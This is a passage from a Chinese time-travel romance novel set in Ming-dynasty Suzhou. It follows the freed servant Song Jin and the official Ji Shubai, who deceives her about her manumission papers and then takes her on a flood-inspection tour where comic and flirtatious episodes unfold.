“我哪里胡说了?你没看她那手段啊?前几日还被你关在牢里挨打,今日就甘愿为她服毒,我看你脑子像坏掉了。”
季舒白颓然坐倒:“我没有要娶她,也没有要她做通房,就是想让她脱籍。”
“那你可真是个菩萨,还是个偏心的菩萨。苏州那么多家奴没见你要帮着脱籍,怎么就这个非帮不可?可是偏心?”
季舒白听这话怎么那么耳熟呢?谁给他讲过?
“卢兄......”
卢俊年一摆手:“我可看你也别说了,你自己好好想想到底是怎么个心意吧。”
季舒白空手回去了,一路都在想自己向来坦然,如今是怎么沦落到一个谎言接着一个谎言的?
他想不通。
脱籍文书一日后送到了卢俊年手中,他再一次扣下宋瑾的。
“你把她交给我,我帮你考验考验,想做通房你就带走。若是娶妻,先想法子过你季家族人那关。若是无心,嘿嘿,看我怎么收拾她。”
季舒白一言不发,恨恨地揪走那一叠文书,乘着轿子往老宅去了。
宋瑾带着人在季家住下,一帮下人倒是勤快,丫头们帮着忙里忙外的做事,惹得陈妈妈很是高兴,老陆则带着阿荣和两个伙计出门寻住处。
按照宋瑾的要求,不能离食鼎楼太近,免得跟那日的下毒案牵连上。又不能太偏僻,不然客人少,还不能太小,毕竟要住下这这些人。
老陆这群人还没回来,季舒白先回来了。
他送来了红契和脱籍文书,用一个封袋装好,塞进宋瑾的手中。
手握自由的宋瑾说话都有些不利索:“多谢......多谢季大人......”
季舒白露出一丝苦笑:“让他们去衙门里把黄册改了吧,从今往后便是良人了。”
“多谢季大人,我爹爹去街上寻住处了,在没找到合适的住处之前可不可以再打扰一阵子啊?我们会付银子的。”
“想住便住吧,我不常回来,有你们陪着陈妈妈,她会高兴的。”
“多谢季大人。”
宋瑾欢天喜地地跑走了,然而答应她住下的季舒白并没有觉得轻松。一想到过会儿她失望的样子,他就愧疚难当。
西边天空最后一丝霞光收尽的时候,宋瑾回来了,哭哭啼啼的。
“季大人,呜呜,季大人,我的红契和文书不见了,我的不见了......”
季舒白慌了神,他本以为宋瑾回来必要吵闹,谁知道是一把鼻涕一把泪的回来了。
“这个......你先别急......”
“我急,季大人,我急......”
“那个......那个......”真实的原因几乎就要脱口而出,季舒白还是忍住了:“这样,我明日派人去找......”
“我找了,”宋瑾哭个没休:“在衙门里没瞧见我就怀疑是你昨天没拿住,丢在路上了,我们从衙门出来后找了一路也没找着。我没脱成籍,怎么办啊?”
季舒白觉得两条腿都在打哆嗦,撒谎的滋味真不好受。
“不怕,不怕,那......兴许是昨儿给少了,我让卢大人再去问问可好?”
宋瑾听了这个话心神稍定:“可以么?那我现在去找他。”
“等等,”季舒白忙将人拉住:“我去说吧,我去方便些。”
宋瑾擦擦脸:“那又要麻烦季大人了。”
“不妨事,都在一个衙门里做事,说话方便。”
季舒白身上冷汗直冒,宋瑾倒是没看出猫腻。人很难去怀疑自己认定的好人,可却容易忘记,人是会变的。
季舒白变了,一夜之间谎话连篇。
宋瑾被安抚下来,季舒白嘱咐她千万别去找卢俊年,他吃了巴豆,有些恼火,自己好不容易安抚下来,宋瑾若是再去,只怕他要闹脾气。
宋瑾知道自己有错在先,只好应下来,先陪爹爹去找屋子。
选中的院子在古槐街,距离食鼎楼有好几条街的距离。入口有一棵巨大的槐树,眼下正是开花的时候,白花花的花序像葡萄一般挂了一大片,煞是好看。
顺着路口往里头走三四家便能看见老陆选中的屋子。
临街两层小楼,下面是两间铺面,上头也可以改成食客用饭的地方。进了铺面穿过去是个小天井,一侧厨房,一侧柴房,相连的是一间小厅,过了厅便是后院。
两层楼,数间房,看起来格局与马蹄巷那间院子十分相似,绝对够大伙儿住的。
宋瑾很是心仪,若是能买下,再做个小生意,在这苏州她便站稳脚跟了,于是问了一嘴。
“这地儿可不便宜,两进的院子,地段也不差,后头便是河,只怕不会低于两百两。”
宋瑾一听两百两立刻泄了气,她可不想还没挣钱就先欠高利贷。于是放弃了买屋的想法,改成租。
租,便便宜许多,宋瑾手中剩下不少余钱用来做生意。
等租好了院子,几人一商量,当晚先回季家住着,第二日就搬来。开店要用的桌椅板凳,切菜洗菜要用的台
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板,睡觉要用的铺盖,一应准备好便可开业了。
宋瑾欢天喜地地跑去找陈妈妈,说要付下这几天的食宿钱,陈妈妈不肯收,说是小主人交代过,不用。
宋瑾也不纠缠,带着自己的娘陈婆子去集市买些菜,打算大家一块儿吃顿好的。
老陆知道后也跟了过来,宋瑾心中莫名想笑,来到这大明,居然还能一家三口的去买菜。
然而老陆却不这般想,他有着别的心思。
“蔓草,”在宋瑾选鸡的时候,老陆开口了:“如今咱们脱籍了,出来做生意也好,只是这能成么?”
“怎么不能成了,人手,地方,能耐,本钱,我全都有,怎么不能成了?”宋瑾信心满满。
“是是是,可是这人你留得住么?就拿杜鹃来说,人家那是大奶奶身边贴身的丫头,那过的什么日子?不比给那穷小子洗衣做饭强多了,况且咱们做生意,她做什么?给穷小子洗完衣裳来给你洗菜么?”
宋瑾歪着头想了想,她倒没想那么多。
“你想想,她若成亲了,还能给你做事?人家公婆怎么想。”
宋瑾啧了一声,老陆又道:“这两日我细心瞧了,另外两个大丫头,那就不是能踏实做这个的,尤其那个红杏,从前那就是罚出去的,不得不听。如今脱籍了,人家能听你的?”
宋瑾垂头,不知道该怎么说。
“先不说人家想不想,既脱了籍,人家要回家怎么办?就算人家不想回,人家爹娘知道了找来要人,你没有红契怎么拦?”
宋瑾揉揉眉心,看样子不是每个人都把脱籍当回好事。
“还有那春云,那么小,除了吃还能干嘛?卖出去都不值几个银子......”
“爹,春云归我,她愿意跟着,我愿意留,你就别管了。”
“等你养大了,人家老汉来要,你怎么办?白养一场,人家带回去卖个更高的价,你亏不亏?”
宋瑾刚刚还沉浸在创业的喜悦里,这下全被自己老爹给搅合了。
“咱多大的铺子,要那么些下人,还付工钱,咱们在柏家哪里来的工钱?有吃有住就不错了......”
老陆抱怨声不断,说的宋瑾心里一阵慌乱,有些事情,她似乎确实忘记考虑了。
然而事已至此,她才不要动摇,这生意她是做定了,将来还要做大,人手是少不了的,怎样她都要熬过去。
这一天,宋瑾选了两只鸡,几个小菜,一坛子烧酒,回家好好的弄出一桌子饭菜来,叫上陈妈妈和刘老汉一块儿吃,因为明日他们便要搬走了。
陈妈妈依依不舍。
“家里许久没有这般热闹了,好不容易热闹几日又要走了,剩我们两个孤孤单单的。”
宋瑾笑嘻嘻的:“那就多催催你家小主人赶紧成亲,给你生个小小主人,您可就有的忙了。”
“我倒是想,我瞧着那裴姑娘就挺好,性子温顺,人又好看,偏我家小主人不上心。”
宋瑾大笑起来,岂止是你家小主人不上心,人家姑娘也没上心,这两人的情感箭头那是一个也没打上。
就在宋瑾这边喜事连连的时候,季舒白那头却有了新麻烦。
71. 同行
季舒白一门心思的想把宋瑾的红契拿到手,让她脱了籍,这事便算了了,谁曾想卢俊年硬要同他过不去。
“你何必拦着她脱籍?”
“怎的是我拦她脱籍了?”
“你说的,若是我认了有情,你便放过她。”
“哦,”卢俊年好似刚想起来似的:“我好像是这么说过。”
“那你倒是给我啊。”
卢俊年自摊了一叠诉状的案桌后抬头,一脸正色道:“你还没跟我说你的打算呢。”
“什么打算?”
“是娶妻,是纳妾,还是通房的丫头?”
“我什么也不做,就是帮她脱籍,你要我说多少遍?”
卢俊年叹气:“嗳,还是太年轻了啊,这样吧,你要真的想,我给你个机会。你呢是五品,我嘛六品,只要你拿官威来压我,我立刻就给你。”
季舒白急了:“卢兄,咱们相识多年,我怎么可能用品级压你?”
卢俊年笑笑:“算你还有点良心。”笑罢又认真起来:“那你也替我考虑考虑啊,那日在柏家我怎么说的?可是要罚她?这转头就把人放走了,这算什么?既往不咎啊?我看起来那么好欺负嘛?”
季舒白听罢皱了皱眉:“这我倒没想过。”
“我知道你没想过,你满脑子都是帮那小娘子。”卢俊年语带埋怨:“我问你,他们可是租了院子准备重新开店?”
“听说是如此。”
“前头刚给官员下毒,后头就换地方开店,你说说,这合适么?”
卢俊年打心眼里觉得宋瑾眼下就去开店实在不合适,那日刚刚下毒,他借着这个理由在柏家大闹一场,用处罚的理由将人全部带走。结果转眼全部脱籍放良不说,还换了地方开店,任谁看了也要说他们是一伙的吧?
他可不想把事情做的那么招摇,这不是给人留下话柄,到时候有理也变无理了。
“是我欠考虑了。”
“无妨,我都替你考虑好了。”
就在季舒白要问什么考虑好了的时候,一个文吏进了门来,说是知府大人找季大人有事。
无奈,季舒白只好跟着走了,等回来时他便知道卢俊年口中的“考虑好了”是什么意思。
眼下已经五月,端午汛就在眼前,为了了解当下的洪汛防灾情形,做好应对措施,林知府决定派人去各地查看防洪以及洪灾情形。
这事本不该落到季舒白头上,奈何原本负责水利的张大人妻子病重,眼下实在不宜出远门,于是派给了卢俊年。
卢骏年又压在一堆诉状里忙得分不开身,于是他向知府举荐了季舒白,理由光明正大。
季舒白是寡的,还闲,日日去找他,文吏去找他时,人就在卢俊年那里呢。
季舒白是百口莫辩,只好应下差事,准备巡视。
这下问题来了,这一去至少一月,把宋瑾留在这里,他总怕出事,而且他打心里也觉得卢俊年说的有理,眼下宋瑾一行人还是别在外头做生意的好,免得给人留下话柄。
于是,他想到了一个绝妙的主意:带宋瑾出行。
宋瑾是一群人里的主心骨,把她带走,这群人自然会消停些。
想到这里,季舒白命青杉备下轿子,自行回了老宅。
一路上季舒白都拧眉思考着该怎么跟宋瑾开口,她是那么的兴致勃勃,自己该怎么阻止她?
想到最后只有一个办法,骗。
季舒白不禁嗤笑一声,如今的他居然要一头瞒一头骗,他堂堂五品官也要在两个人之间受夹板气。
宋瑾这头刚跟众人吃喝完毕,就看见青杉进来叫她,说是季舒白回来了,眼下要见她,她满心以为是红契补回来了,兴高采烈地就去了。
然而......
“我与你一同巡视?”
“对,事情有些急,你明日便随我走。”
“可是马上端午了......”
“就因为要端午了,更不能放松。”
宋瑾挠了挠腿,她搞不懂,季舒白巡视跟她有什么关系。
“你不是说这大明的百姓民不聊生,生活困顿么,明日你便随我一同出去看看,免得再给我胡说。”
幼稚!
卢俊年要把季舒白支走,免得应付不来宋瑾,天天去烦他。
季舒白想着依宋瑾和卢骏年那个脾气,没有自己在中间调停,等他回来,这两人要么一个丢官,要么一个坐牢,他是一个也不想看到,索性将宋瑾带走。
等过些日子卢俊年气消了,食鼎楼的事也被忘了,宋瑾正好回来继续做生意,这样对谁都好。
唯有宋瑾,一张脸扭成一团:“可我铺子都租了......”
“不是不让你开,是晚些日子,这样卢大人面上好看些。”
“......好吧。”
无奈,宋瑾当晚回去同众人一说,大家倒是都赞同,尤其是卢俊年若真这般想的话,还是听一听的好,毕竟民不与官斗。
于是各方考虑后,铺子先不开,等那卢大人消气了,柏家也将这事放下了再说。
第二日一早,众人按照预先说好的搬去古槐街先住下,唯独宋瑾,简单收拾了一个黄罗包袱,穿的一身蓝布袍跟着季舒白走了。
她习惯了男装,而且出行方便,加上她之前得的新旧衣裳全是男人的,她也就不考虑什么女人的衣裳了。
而季舒白好似也看惯了她这个样子,也没去挑剔她。
苏州水路发达,出行多是乘船,这次也不例外。
宋瑾一身棉布道袍,既不像小厮,也不像官吏地跟在季舒白身边,同行约有十数人,可宋瑾识得的唯有青杉一人而已。
“大人?大人?”宋瑾上了小船就开始对着季舒白嘀咕:“这次出去,我算什么呀?随从?小厮?侍者?”
季舒白抿着唇,上下扫她一眼,宋瑾用什么身份与他同行还真不好说。
“若是给大人做贴身伺候的人,那我可就要给大人脱衣服了。”
宋瑾莫名补了一句,季舒白还未说话,身边的青杉先笑了起来:“我家大人还没有被女子伺候过呢,若是此次陆姑娘来伺候,那还是第一遭呢。”
宋瑾听了也想笑:“大人可要?”
在这件事情上她懒得装,一是皮糙肉厚不在意,而且她瞧了季舒白身材不错,
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不介意近距离观赏下。
其次呢,她本就是贱籍的家奴出身,她想立贞节牌坊也立不住啊。在这大明,一个能给主子脱衣的家奴都是上等家奴,她还够不上呢,有什么纯洁好装的,都不挨边。
倒是季舒白,一下被宋瑾调戏的红了脸:“你少胡说,我不需要。”
宋瑾见得了逞便问:“既然如此,大人叫我自己选可好?”
只过了一晚,宋瑾就把生意被打断的事情给忘了,只当自己要长途旅游,心情一下愉快不少,说话也恢复了往日活泼的样子。
“好啊,你说来听听。”
季舒白明白她早有想法,便顺口一问,只见宋瑾笑嘻嘻地道:“我想做大人的门客。”
“门客?”季舒白睁大了那双秀气的眼睛,面上写满了不可思议:“你?”
“怎么不行了?对咱们大明,我还是了解一些的哇。”
季舒白忽然想笑:“门客?你今年多大了?”
宋瑾一想自己三十了,可是再一转念,蔓草今年才十八呢。
“这个怎么能按照年龄算呢?这不公平。”
“好啊,那你说说,你如今取得了哪些功名,或是在哪方面有些建树?”季舒白看起来像是听到了一个很好笑的笑话,竟然认真了起来,坐直了身子面向宋瑾,只是嘴角的笑意怎么也压不住。
宋瑾歪着个脑袋,思索半晌正要说话,季舒白突然抢道:“不许再提清虚天。”
宋瑾一下蔫了。
季舒白看着宋瑾,笑意更甚,提议道:“要不我帮你想一个吧。”
“什么?”
“你是卢大人的门客,随我同行。”
季舒白一把将宋瑾塞到卢俊年门下,因为他太了解宋瑾那张嘴了,万一冒出什么稀奇古怪的话来,他岂不是还要跟着解释?
塞到卢俊年门下,那就与他无关,反正卢俊年也不在场,自然就不必尴尬。
“行啊。”不是伺候人的小厮就行。
“另外我还要同你立规矩。”
宋瑾:“???”
“此次出门,要巡视的地方不少,从前在我家,你可以想说什么便说什么,但是出门在外,我希望你......”
“我一定闭紧嘴巴,绝不给大人惹祸。”
宋瑾信誓旦旦的保证,然而季舒白还是忍不住补充:“若是有什么想法或不满,私下同本官讲便是,切勿与人动气,更不要使出那些......那些......”
“我懂。”
季舒白就差直说不要惹是生非了,宋瑾自然听得明白。
宋瑾把这次出行当做环苏州游,还是大明版的,她就带着眼睛看,心想一定不乱指指点点,在二十一世纪她就已经学会了这点。
多听,多看,少说,可保平安。
此次巡视一行共十五人,分三只小船,自长洲县出发,先走小河道巡视县内情形,随后去往吴县和吴江县巡视。至于其他县,则交由另一位通判大人巡视。
宋瑾有了身份心情大好,眼下在船上又无事,她便迫不及待地想看这大明的风光,以至于在船上根本坐立不住,非要跑到船头去看。
72. 失踪
宋瑾想起身到船头去看风景,然而却不大能适应这小船的摇摇晃晃。
她还是头一回坐这么小的船,走起路来慌的很,好似小脑被摔坏了一般,根本站不稳当。
季舒白见了,便走过来,一手抓住她的胳膊就将人提到了船舱门口,叫她扶着门框看。他自己倒是不慌,直接站上了船头。
碍眼的很。
迫不得已,宋瑾只得连着站在风景里的季舒白一道欣赏起来。
今日的季舒白头戴玄色对角方巾,帽后两根飘带坠在肩上。一身翠绿缎地祥云暗纹的褶子衣。
那褶子打的极细,像是女子的裙褶,翠色绦环勒出一弯细腰来,脚上一双皁皮靴。
他个头不低,用现代尺寸来算,估摸一米八五的样子,宽肩窄腰腿还长,从背后看去极具欣赏价值。
宋瑾看的啧了一声,就该当个贴身小厮,摸一把试试,可惜了。
季舒白不知道身后的宋瑾正胡思乱想些不能写的东西,专心眺望着两岸风景。
五月的时光风景极好,夹岸的树郁郁葱葱,偶尔经过一棵年久的,枝丫长的长,竟跨过了河流,直抵河的对岸去。
江南水汽重,家家户户的墙角都免不了青苔,粉墙底上被雨水长久浸湿后变得黑黢黢的,青苔便自那黑黢黢中迸发出来,形成一块绿油油,等到秋日里死去了,便又成了一片黑黢黢。
如此反复,休了又长,长了又休,没完没了,好似江南的烟雨。
下雨了,宋瑾迅速缩回船舱里,季舒白也跟了回来,两人便躲在船舱里头看。
烟雨江南,没有了现代直播,也没有了化纤衣裳,然而并没有亮色多少。
街头多数人的衣裳都是沉香色,倒是那些郁郁葱葱的树,一大片一大片绿云似的,也不躲也不藏,在烟雨中越发惹眼。
宋瑾沉浸在一片不曾见过的旧世界里,直到船行至一个码头,季舒白唤她下船。
因为来的匆忙,长洲县衙未曾得到消息,因此并未派人到岸边来接。
下了船后有跟过来的衙役雇了两顶轿子来,其中一顶是给宋瑾的。
“门客,可以有轿子。”
季舒白是这样说的,宋瑾瞬间庆幸扮演的不是小厮了。
行路匆忙,宋瑾在轿子中也没有心思去看雨中风景,出门在外衣服少湿些才是大事。
记不清走了多长时间轿子才落了地,宋瑾乖觉地自己走了出来。不像那季舒白,断了胳膊似的,还要人掀轿帘。
老大的谱。
这一次,知县老爷已经站在门口候着了,此刻见着轿子落地,恨不得亲自来掀轿帘。
“季大人,下官不知大人今日到来,失礼,失礼了。”
那知县领着县丞主簿等人,热情地迎接季舒白进去,宋瑾闭了嘴,紧紧跟在后头。
长洲县,富啊。
县衙门口一方浮雕照壁,方方正正地摆在那里,宋瑾注意到上头贴着什么东西,此刻已经被雨水打的模糊不堪了。
几人绕过照壁往里头去,一个衙鼓摆在大门右侧,穿过大门接着走,过了仪门才是大堂。
众人脚步不停,过了第一道堂后去了一个偏堂才坐定下来。一时间上茶的上茶,拜见的拜见,说话的说话,宋瑾站在那里东张西望,结果叫青杉用手肘捅了下。
“别乱看。”
宋瑾低低“哦“”一声,干脆垂下头去。
哪晓得季舒白是个坐不住的人,今日来的又早,见外头雨势渐停,便提议立刻去田间看看,宋瑾快步跟上。
走至门口时,季舒白忽然转身问:“可会骑马?”
宋瑾茫然摇头。
“留在县衙,等我们回来。”
那县丞吩咐人去安排马匹,宋瑾只得留在偏堂里,倒是季舒白临走前不知道是欺负人还是怎么的,告诉她要是无聊了就去做饭,听的宋瑾一顿火。
她如今扮演的可是门客,又不是厨子。
可是那许多人看着,她也不好呛季舒白,只好乖乖应了。
然而季舒白到底没吃上这顿饭,因为宋瑾丢了。
苏州府衙就设在长洲县,因此几人到的早,又因着宋瑾不会骑马,不便去田间,只好被单独留在了县衙里,由知县陪着季舒白去巡视。
很快,宋瑾就感到无聊起来,可是对这县里的情形又不大了解,怕自己穿帮,便憋着一股气在县衙里乱逛,这一逛就逛到了大堂后头。
今日因为知县去了乡间,临行前吩咐县丞留在县衙里,替他审理几桩案子,宋瑾恰好碰上县丞升厅。
这不就是法院嘛,公开审理的那种,于是无聊的宋瑾搬了个条凳,大喇喇地坐在县厅后头听前头人审案,全然不顾身边人投来的异样目光。
他们不认识宋瑾,只认识季舒白,有什么不妥也是他季舒白不妥,干她何事。
不知是不是这长洲县富人太多,审理的案子大多与经济有关,不是生意上的金钱纠纷,就是家里财产的继承,其中一个案子听的宋瑾直冒火,然而她没处发火。
就像季舒白讲的,有话对他讲,少惹事,别搬出清虚天来。
宋瑾憋了一肚子的火没处撒,外头的审理也根本听不下去,于是跑到街上逛去了。
雨过天晴的街市倒是热闹的很,宋瑾从酒店逛到面馆,从卖药的逛到兑银的,从热闹喧嚣逛到清净淡雅,很快,她发现自己回不去了。
宋瑾迷路了,一个在二十一世纪的超市会迷路的人,迷在了十六世纪的苏州巷陌里,一直到天色黑透,季舒白回到了县衙里,宋瑾还是没有回来。
这下有人着急了。
“青杉,你带上人去找,把我们带来的人都带上。”
“覃知县,劳烦多派些人去找,她对这里不熟,天色又黑了,别遇上盐徒才好。”
那被称作覃知县的人自然不敢怠慢,亲自安排人去找。
一帮子人打着灯笼,浩浩荡荡地从县衙出发,准备去找宋瑾。
然而等人到了门口却见一顶轿子跑了过来,众人立住去看,就见宋瑾从里头出来了,一瘸一拐的。
“你怎么回事?去哪里了?”
季舒白的语气里带着责备,然而宋瑾根本顾不上他,一瘸一拐的往里走去。
“你腿怎么了?”
宋瑾还没来的及答他,那些个轿夫先嚷嚷起来。
“嗳,公子,还没付轿资呢。”
宋瑾这才想起来,转头对着季舒白道:“劳烦帮付下轿资。”
宋瑾迷路到天黑,人也问过了,然而转过两个路口便继续迷,于是一边问一边走一边迷。
等到天色渐黑,路上难见行人时,宋瑾还是迷着。这下她慌了,忽然想起这个世界的的士,于是雇了顶轿子回来,奈何兜里无银,只好托季舒白付账。
季舒白向青杉使了个眼色,青杉立刻过来结账,宋瑾继续往里走。
“你腿怎么回事?不是已经好多了么?”
宋瑾有气无力道:“伤到骨头了,没那么容易好,走久了就疼。”
季舒白叹气,又碍于性别和身份,不好去扶她,只得陪着她慢慢往里走。
“你今日怎的出去了?”
还好没问怎么没给他做饭,否则宋瑾又该炸了。
“无聊。”
宋瑾不想在众人面前谈起那个案子,于是避
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开了这个话题,两人一起进了今晚的宅院。
每个府衙都有宅院,围绕着县衙建,派来当官的,临时来办事的,都会住在这里,就像季舒白住的苏州府公廨,今日宋瑾也跟着住在这里。
几人刚安顿好,外头膳馆就送来了饭菜,季舒白跟着一起吃。
“你怎么还没吃?”
宋瑾没料到自己的消失引得县衙里一阵乱糟糟,季舒白也懒得提:“刚回来,还没来得及吃。你呢?出去做什么了?”
宋瑾有些累了,不大想说话,因此不答,而是反问:“先说说你,农田可有淹了?”
“没有淹田,只是今年雨水不少,稻花被打落许多,会影响收成。”
“哦。”宋瑾有气无力的。
“我明日还要出去,你腿伤了,留在县衙里别再乱跑,后日我们便离开这里去吴县。”
宋瑾点头道好,一下午的暴走,倒是把听案听出来的火气给走消了,只想着赶紧吃饭赶紧睡觉。
等到二人吃好饭,各自去歇息时,宋瑾才看清季舒白的衣摆和靴子上沾染了许多泥浆,跟早间所见浑然两样,心里对他倒是佩服起来。
第二天,宋瑾独自留在县衙里,这回再也不出门了,自己搬了个凳子坐在廊下晒太阳,大腿关节上隐隐作痛。
谁曾想,快晌午时,一个年约四十,长相富贵的婆子走了过来。
“哎哟,这就是咱们县衙新来的贵客吧?”
宋瑾笑笑:“贵客出去了,我是贵客的跟班。”
“小公子说话真有意思,贵客的跟班那也是贵客。”
那婆子也不管宋瑾的意见,自己在廊下坐了与她说话。
“小公子是哪里人呀?可曾婚配?”
宋瑾笑笑:“我们季大人一把年纪了还不曾婚配,您不妨考虑考虑我们季大人。”
婆子笑起来:“公子真会说笑。”可是转脸认真:“我瞧那位季大人岁数也不小了,为何还不曾婚配呀?他若有心,老婆子我倒是有些好姑娘的。”
宋瑾笑嘻嘻的:“妈妈该不会要给我们季大人介绍哪个院里的姑娘吧?”
“瞎说什么呢?我可是正儿八经的官媒,专门给人说亲的,牵头的事我可不干。”
宋瑾笑笑,也不说话,那婆子便上下打量起宋瑾来。
“我瞧着公子眉清目秀的,身量似个女......嗳,你?”
媒婆就是媒婆,认起男女来,比旁人眼尖多了。
“妈妈别嚷嚷,说出来我家大人面上难看。”管他什么事,推给季舒白就对了。
“那你?”
婆子一脸震惊,接着便是恍然大悟:“我说呢,这季大人风流倜傥,怎的还不成婚,原来人就带在身边呢。到底是年轻人,撒不开手。”
宋瑾忍住笑:“妈妈既然知道了,还请您为了我家大人的颜面,千万别说出去了。他脸皮薄,要生气的。”
“知道知道,”婆子看起来有些高兴,谁吃了八卦都高兴:“这季大人还真是,啧。”
那婆子啧了一声,也不具体说啧了什么,只是对宋瑾意味深长地笑笑。
“季大人,不错的吧?”
“是挺好的,好看。”
“啧,谁不知道他好看,好看顶什么用,我说那个。”
宋瑾一下明白过来,论荤话,她说不过这老婆子,赶忙找了个理由逃开。
“那个,我饿了,我去膳房找点吃的。”
“膳房离这远着呢,你也别去了,我叫人做了给你送来。”
婆子热心,又打量了遍宋瑾才出去了。
宋瑾歪坐在廊下看天。
我的天啊!
73. 互拆
宋瑾好不容易摆脱了官媒婆子,下午又迎来新的客人:县衙主簿以及一众衙役文吏。
又是一场唇舌大战,宋瑾全身而退。
季舒白这一天忙得很,根本没空去管宋瑾,等回来时天色已经黑透,倒是与宋瑾一起吃了顿晚饭。
席间闲聊,问她一天忙了些什么,宋瑾只说休息。他便要她第二日早起,他夜里还要跟知县谈事。
宋瑾品出一丝奇怪的味道来,工作狂丈夫和他每日说不上几句话的留守妻子,不禁嗤笑一声。
“你笑什么?”
“我笑这长洲县的百姓有福了,有这么好的官,一定可以过上好日子。”
季舒白眯着眼睛看她,他是一个字也不信。
夜里用完饭,季舒白又回去继续忙,宋瑾无聊洗洗睡,下午一场酣战可够累的,明天还要早起呢。
第二日离开时比来时热闹许多,各色官员前来相送,这回不再是两顶轿子出县衙,而是好几顶了。
这一日天气大好,宋瑾坐在轿中掀了轿帘往外看去。
因为就要端午,她看见街上有些人家的门上已经提前挂上了艾草。街上行人不绝,粉的、蓝的、白的、绿的各色衣衫今日也不躲了,鲜艳的很。
唯独屋子的墙角,是那经久不衰的黑色。
一行人别了县官们重新上船,按照季舒白的说法,先走小河道,然后入江改驿船,临了还不忘嘱咐船家加快速度,以致于那船晃得宋瑾更不敢乱动了。
“咱们赶时间么?”
“嗯。”
季舒白也不怕晃,一边翻看着一本程图,一边回应着宋瑾。
“为什么呀?”
季舒白这才抬起头来:“后日便是端午,吴淞江上会有赛龙舟,我猜你会喜欢看。”
宋瑾那般皮糙肉厚,听到这个话依然觉得心脏漏跳了一拍,脸上一阵滚烫。
她转了个身子,低低的哦了一声后专心去看外面的河道。
季舒白招了青杉,吩咐了行程,又与随行人员做了安排,这才坐下来跟宋瑾一起喝茶。
“昨日你同主簿他们说话了?”
季舒白一边说话一边倒茶,似是闲聊一般。
“是啊,他们...喜欢跟我聊天。”
“聊什么了?”
宋瑾用手指拨弄着根本不存在的耳边发丝:“就是闲聊啊,家常什么的。”
“闲聊?家常?”季舒白饮了口茶,默默放下杯子:“如何做菜么?”
宋瑾翻了个白眼:“不是。”
“那是什么?”
宋瑾咬着唇,猜到那帮人指定跟季舒白说了什么。
“非要本官一句一句追问下去么?”
宋瑾清了下嗓子,道:“一句句追问好呀,这样我就有时间思考该怎么圆谎了。”
季舒白似乎习惯了宋瑾的谎言,此刻听了竟也不气:“那好吧,本官不问了,你什么时候圆好了,自己来同我说。”
“哪有你这样的?”
季舒白笑了笑,也不答话,只继续喝茶。
宋瑾觉得无聊,凑上前来:“那我告诉你了,你可别生气。”
“说吧。”
宋瑾趴在小桌上认真说起话来。
“他们问我是何人何职,为何同你出来,为何你对我不一样,对我特别的关照。我就说季大人没有对我不一样啊,是季大人人好。”
说到这里她停了停去看季舒白,就见他嘴角含笑地看着她,她便继续道:
“他们又问我平时跟你都做些什么呀?我就说陪大人四处巡视。他们就问我呀,从前在哪里读书,如今考了什么功名,跟你一样,一点儿新意都没有。”
季舒白问:“那你是如何作答的?”
宋瑾嘿嘿一笑,凑得更近了:“我呀,我告诉他们我不曾读过什么圣贤书。”
季舒白端茶的手顿了顿,宋瑾又神秘兮兮地补充:“我告诉他们,我家祖上可是跟着郑大人下过西洋的,那叫一个见多识广,别说一个小小的苏州了,就是这天下,我家祖上也见过大半了,可厉害了。”
季舒白:“......”
宋瑾听话,弃了清虚天,贴上了郑和下西洋,终于不玄乎了,可是这也太容易穿帮了吧?
“你......你......”季舒白想要开口指责又不知道该怎么说:“这种事情你怎么能编?”
“有什么不能编的?能让他们信了不就成了。”宋瑾满不在乎,可是季舒白不这般想。
宋瑾谎言太多,会让人怀疑人品的,虽说她本来人品就不好,可也没必要让大家都知道。
“你要怎么让他们相信?”
“我会化外语啊。”
“化外语?”宋瑾连连点头,季舒白又问:“吕宋?还是暹罗?”
宋瑾得意洋洋:“都不是。”
“那是什么?”
“英语,没听过吧?”
季舒白眯起眼睛,不大清楚这名叫英语的化外语。
“英语?说来听听。”
宋瑾刚张了张唇要说话,就见季舒白那个眯起来的眼神,立刻又退缩了。
她就像那个在外读书,回家被要求表演的小孩,被迫赶上了架,尴尬无比,却又不得不表演,难受至极。
“怎么?又忘了?”
季舒白似笑非笑的表情成功激怒了宋瑾,她抓起杯子转了个方向,一手将杯子举在身前,一手指着杯子开骂:
“Youbastard.NeverbelievewhatIsay.Youidiot.Youareshort-sightedanddon’trealizeit.Youhaveafacebutnobrains.Youareafroginthewell.”
宋瑾骂完气消了不少,转身将杯子放在桌上,却见季舒白抿着一双唇,两只眼睛直勾勾地看着她。
“要翻译么?”宋瑾有些气量不足地问。
“翻!”
骂人,语气、表情要比语言更早传达出意思来,季舒白猜到宋瑾没说好话。
宋瑾气消了胆量也跟着消了,因此只垂着个头胡翻译:“吃了么?吃了?吃的什么?阳春面,好吃么?好吃。”
说完半晌不听季舒白出声,这才悄悄去偷看,就见他一双眼睛粘在自己头顶,表情不辨喜怒。她便心虚地转过头去,恰好对上了青杉的目光。
青杉满脸疑惑,哪个国家问人吃饭是这么个语气和表情啊?
“饿了?”
季舒白终于出声,宋瑾连连点头:“是,早上没吃饱。”
“阳春面?”
宋瑾不敢说不,于是几艘小船靠了岸,季舒白领着众人去吃面。
上午时候,早餐的铺子尚未收摊,季舒白选了大树下的一家摊子坐下。
桌面不算太干净,那伙计见季舒白一身鲜亮,麻溜地跑着过来用抹布一抹,笑问要吃些什么。<
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p>季舒白知是问他,却不回答,只是丢了个眼神给宋瑾。
“一人一碗阳春面,店里可有肉?要大肉。”
宋瑾老实不客气地接过去,小二听见忙答:“有的客官,卤牛肉是我们店的招牌。”
“那就每张桌子来一碗卤牛肉。”
“好嘞。”
宋瑾点完东西回头看季舒白,只见他用一只手慢慢地捋着袖口,悠闲自在的样子十分养眼。
宋瑾就这么看着,季舒白就那么捋着,等捋完抬头时,就见宋瑾托着下巴盯着他,盯的他脸上一红。
“看我做什么?”
“季大人,有没有人说你好看啊?”
季舒白白她一眼,倒是一边的青杉接过话头:“那还用说么?别说苏州了,就是那一年在京中赶考,莫说一般人,就是同年的进士里头,我家大人的颜色那也是一等一的。”
宋瑾听了来劲了:“唉,那你家大人怎的还不娶亲啊?”
“咳——”
青杉正要说话,季舒白一声咳嗽打断了二人,冷声道:“少谈论本官私事。”
宋瑾收敛了,那面也端上桌了。
浅浅的酱油汤里根根细面宛如仙子的裙摆,点点翠绿的葱花洒在上头,宋瑾抓了筷子,一点一点地去挑那葱花。
“你不吃葱?”季舒白有些惊讶。
“嗯,不爱吃葱。”
宋瑾专心挑着碗里的葱花,等挑完了用筷子一挑一拌,猪油的香气飘了出来,宋瑾咽了口唾沫。
“这阳春面用你的英语应当怎么说?”
